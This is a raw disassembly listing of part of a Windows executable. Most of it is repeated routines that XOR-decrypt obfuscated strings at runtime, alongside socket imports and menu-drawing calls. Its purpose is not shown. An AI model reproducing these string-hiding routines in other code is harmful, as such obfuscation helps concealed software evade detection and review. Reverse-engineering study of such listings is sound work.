mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140094090
cmp r8d, 0x13
jge 0x1400941e1
movsxd rax, r8d
lea r9, [rbp + 0x650]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1400941b0
lea rdx, [rbp + 0x650]
jmp 0x1400943a8
xor r12d, r12d
mov dword [rbx + 0xd4], r12d
mov qword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
movsd xmm0, qword [0x140161a20]
movsd qword [rbp + 0x1b0], xmm0
mov eax, dword [0x140161a28]
mov dword [rbp + 0x1b8], eax
movzx eax, word [0x140161a2c]
mov word [rbp + 0x1bc], ax
movzx eax, byte [0x140161a2e]
mov byte [rbp + 0x1be], al
mov r8d, r12d
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x14009435d
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
mov eax, dword [0x1401643c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140161a20]
xorps xmm2, xmm0
movd dword [rbp + 0x1b0], xmm2
movdqa xmm3, xmmword [0x140164320]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1b4]
xorps xmm2, xmm1
movd dword [rbp + 0x1b4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1b0]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x140094370
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x10a0]
call fcn.1400660c0
lea rcx, [rbp + 0x10a0]
cmp qword [rbp + 0x10b8], 0xf
cmova rcx, qword [rbp + 0x10a0]
call fcn.14004f2f0
mov dword [rbp + 0x430], 0x42480000
mov dword [rbp + 0x434], 0x43340000
lea rcx, [rbp + 0x430]
call fcn.140025c50
mov dword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xdc], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r15, qword [0x140196288]
mov rcx, r15
call fcn.14004f2f0
mov dword [rbp + 0x438], 0x42480000
mov dword [rbp + 0x43c], 0x43520000
lea rcx, [rbp + 0x438]
call fcn.140025c50
mov r15, qword [rbp + 0x70]
mov rcx, r15
call fcn.140025a50
mov rdx, r14
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x1401962a8]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r13, qword [0x140196228]
mov r8, qword [0x140196238]
cmp r8, qword [0x1401962b8]
jne 0x14009469d
mov rcx, r13
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14009469d
mov qword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xdc], r12d
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [str.zWMRN_Q2_bk_n2ge9___fP]
movups xmmword [rbp + 0x220], xmm0
movsd xmm0, qword [0x140161a70]
movsd qword [rbp + 0x230], xmm0
movzx eax, word [0x140161a78]
mov word [rbp + 0x238], ax
cmp byte [0x140161a79], 0
je 0x140094691
mov r8d, r12d
cmp esi, 2
jl 0x140094649
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x224]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140094540
cmp r8d, 0x1a
jge 0x140094691
movsxd rax, r8d
lea r9, [rbp + 0x220]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140094660
lea rdx, [rbp + 0x220]
jmp 0x140094888
mov dword [rbx + 0xd4], r12d
mov qword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [str.zWMRN_Q2_bk]
movups xmmword [rbp + 0x220], xmm0
mov eax, dword [0x140161a58]
mov dword [rbp + 0x230], eax
movzx eax, word [0x140161a5c]
mov word [rbp + 0x234], ax
cmp byte [0x140161a5d], 0
je 0x140094881
mov r8d, r12d
cmp esi, 2
jl 0x140094839
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x224]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140094730
cmp r8d, 0x16
jge 0x140094881
movsxd rax, r8d
lea r9, [rbp + 0x220]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140094850
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x1178]
call fcn.1400660c0
lea rcx, [rbp + 0x1178]
cmp qword [rbp + 0x1190], 0xf
cmova rcx, qword [rbp + 0x1178]
call fcn.14004f2f0
mov dword [rbp + 0x440], 0x42480000
mov dword [rbp + 0x444], 0x43660000
lea rcx, [rbp + 0x440]
call fcn.140025c50
mov dword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xdc], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r14, qword [0x1401962a8]
mov rcx, r14
call fcn.14004f2f0
mov dword [rbp + 0x448], 0x42480000
mov dword [rbp + 0x44c], 0x43820000
lea rcx, [rbp + 0x448]
call fcn.140025c50
mov rcx, r15
call fcn.140025a50
lea rdi, [0x1401962c8]
mov rdx, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x1401962c8]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
lea rax, [0x140196248]
cmova rax, qword [0x140196248]
mov r8, qword [0x140196258]
cmp r8, qword [0x1401962d8]
jne 0x140094b7d
mov rcx, rax
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140094b7d
mov qword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xdc], r12d
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [str.DUsto]
movups xmmword [rbp + 0x240], xmm0
movsd xmm0, qword [0x140161aa8]
movsd qword [rbp + 0x250], xmm0
movzx eax, word [0x140161ab0]
mov word [rbp + 0x258], ax
cmp byte [0x140161ab1], 0
je 0x140094b71
mov r8d, r12d
cmp esi, 2
jl 0x140094b29
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x244]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140094a20
cmp r8d, 0x1a
jge 0x140094b71
movsxd rax, r8d
lea r9, [rbp + 0x240]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140094b40
lea rdx, [rbp + 0x240]
jmp 0x140094d68
mov dword [rbx + 0xd4], r12d
mov qword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [0x140161a80]
movups xmmword [rbp + 0x240], xmm0
mov eax, dword [0x140161a90]
mov dword [rbp + 0x250], eax
movzx eax, word [0x140161a94]
mov word [rbp + 0x254], ax
cmp byte [0x140161a95], 0
je 0x140094d61
mov r8d, r12d
cmp esi, 2
jl 0x140094d19
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x244]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140094c10
cmp r8d, 0x16
jge 0x140094d61
movsxd rax, r8d
lea r9, [rbp + 0x240]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140094d30
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x1100]
call fcn.1400660c0
lea rcx, [rbp + 0x1100]
cmp qword [rbp + 0x1118], 0xf
cmova rcx, qword [rbp + 0x1100]
call fcn.14004f2f0
mov dword [rbp + 0x450], 0x42480000
mov dword [rbp + 0x454], 0x438c0000
lea rcx, [rbp + 0x450]
call fcn.140025c50
mov dword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xdc], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdi, qword [0x1401962c8]
mov rcx, rdi
call fcn.14004f2f0
mov rcx, r15
call fcn.140025a50
mov dword [rbp + 0x458], 0x42480000
mov dword [rbp + 0x45c], 0x439b0000
lea rcx, [rbp + 0x458]
call fcn.140025c50
mov dword [rbp + 0x460], 0x42900000
mov dword [rbp + 0x464], 0x41f00000
movaps xmm1, xmmword [0x140164430]
movaps xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x140196300]
movdqa xmmword [rsp + 0x50], xmm0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x1401967b8]
mov qword [rsp + 0x28], rax
lea rax, [0x1401967b0]
mov qword [rsp + 0x20], rax
lea r9, [0x1401967a8]
xor r8d, r8d
lea rdx, [rbp + 0x460]
lea rcx, str.___Back
call fcn.14003fdd0
test al, al
je 0x140094eab
mov byte [0x1401976fb], 0
mov byte [0x1401976fa], 1
mov byte [reloc.WS2_32.dll_accept], 0
mov dword [rbp + 0x468], 0x440c0000
mov dword [rbp + 0x46c], 0x40a00000
lea rcx, [rbp + 0x468]
call fcn.140025c50
mov dword [rbp + 0x470], 0x41a00000
mov dword [rbp + 0x474], 0x41f00000
movaps xmm0, xmmword [0x140164430]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [0x140164400]
movaps xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x1401967d0]
mov qword [rsp + 0x28], rax
lea rax, [0x1401967c8]
mov qword [rsp + 0x20], rax
lea r9, [0x1401967c0]
xor r8d, r8d
lea rdx, [rbp + 0x470]
lea rcx, [0x140161cb4]
call fcn.14003fdd0
test al, al
je 0x140094f4f
mov byte [reloc.WS2_32.dll_accept], 0
mov rdx, qword [rbp + 0x1118]
cmp rdx, 0xf
jbe 0x140094f9f
inc rdx
mov rcx, qword [rbp + 0x1100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140094f9a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140094f9a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14010f8fc
movdqa xmm0, xmmword [0x140164300]
movdqu xmmword [rbp + 0x1110], xmm0
mov byte [rbp + 0x1100], 0
mov rdx, qword [rbp + 0x1190]
cmp rdx, 0xf
jbe 0x140095006
inc rdx
mov rcx, qword [rbp + 0x1178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140095001
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140095001
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14010f8fc
movdqa xmm0, xmmword [0x140164300]
movdqu xmmword [rbp + 0x1188], xmm0
mov byte [rbp + 0x1178], 0
mov rdx, qword [rbp + 0x10b8]
cmp rdx, 0xf
jbe 0x14009506d
inc rdx
mov rcx, qword [rbp + 0x10a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140095068
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140095068
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14010f8fc
movdqa xmm0, xmmword [0x140164300]
movdqu xmmword [rbp + 0x10b0], xmm0
mov byte [rbp + 0x10a0], 0
mov rdx, qword [rbp + 0x10d8]
cmp rdx, 0xf
jbe 0x1400950d4
inc rdx
mov rcx, qword [rbp + 0x10c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400950cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400950cf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14010f8fc
movdqa xmm0, xmmword [0x140164300]
movdqu xmmword [rbp + 0x10d0], xmm0
mov byte [rbp + 0x10c0], 0
call fcn.140015b10
cmp byte [0x1401976fa], 0
je 0x140096cf2
mov qword [rbp + 0x478], 0x43160000
lea rcx, [rbp + 0x478]
call fcn.140025c50
mov rcx, r15
call fcn.140025a50
call fcn.140019700
mov rbx, rax
mov qword [rax + 0xf4], 0
mov dword [rax + 0xfc], r12d
mov dword [rax + 0x100], 0x3f000000
mov dword [rbp + 0x480], 0x44138000
mov dword [rbp + 0x484], 0x43e60000
movsd xmm0, qword [0x140161ab8]
movsd qword [rbp - 0x58], xmm0
movzx ecx, word [0x140161ac0]
mov word [rbp - 0x50], cx
cmp byte [0x140161ac1], 0
je 0x1400951a1
mov byte [rbp - 0x58], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp - 0x57], 0x38
xor byte [rbp - 0x56], 0x39
xor byte [rbp - 0x55], 0x3a
xor byte [rbp - 0x54], 0x3b
xor byte [rbp - 0x53], 0x3c
xor byte [rbp - 0x52], 0x3d
xor byte [rbp - 0x51], 0x3e
xor byte [rbp - 0x50], 0x3f
xor byte [rbp - 0x4f], 0x40
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x480]
lea rcx, [rbp - 0x58]
call fcn.140007ef0
mov dword [rbp + 0x488], 0x42480000
mov dword [rbp + 0x48c], 0x42480000
lea rcx, [rbp + 0x488]
call fcn.140025c50
mov dword [rbp + 0x490], 0x43f50000
mov dword [rbp + 0x494], 0x43480000
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0x4000
lea r9, [rbp + 0x490]
mov r8d, 0x200
lea rdx, [0x140197840]
lea rcx, [0x140116ad4]
call fcn.14004a710
mov dword [rbp + 0x498], 0x42480000
mov dword [rbp + 0x49c], 0x43870000
lea rcx, [rbp + 0x498]
call fcn.140025c50
mov dword [rbx + 0x94], 0x3f000000
mov dword [rbx + 0x98], 0x3f000000
movaps xmm7, xmmword [0x140164420]
mov dword [rbp + 0x4a0], 0x43700000
mov dword [rbp + 0x4a4], 0x42200000
movups xmm0, xmmword [str.g_KWZRXPK_]
movups xmmword [rbp + 0x798], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140095411
cmp esi, 2
jl 0x1400953d2
movdqa xmm5, xmmword [0x1401222b0]
mov edx, r12d
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x79c]
mov r8d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400952d0
jmp 0x140095411
lea r9, [rbp + 0x798]
mov r8d, r12d
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400953e0
movups xmm0, xmmword [0x140196300]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x50], xmm7
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x1401967e8]
mov qword [rsp + 0x28], rax
lea rax, [0x1401967e0]
mov qword [rsp + 0x20], rax
lea r9, [0x1401967d8]
xor r8d, r8d
lea rdx, [rbp + 0x4a0]
lea rcx, [rbp + 0x798]
call fcn.14003f490
test al, al
je 0x140095827
movsd xmm0, qword [0x140161b18]
movsd qword [rbp + 0x160], xmm0
mov eax, dword [0x140161b20]
mov dword [rbp + 0x168], eax
movzx eax, byte [0x140161b24]
mov byte [rbp + 0x16c], al
mov r8d, r12d
cmp esi, 2
jl 0x1400955ba
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
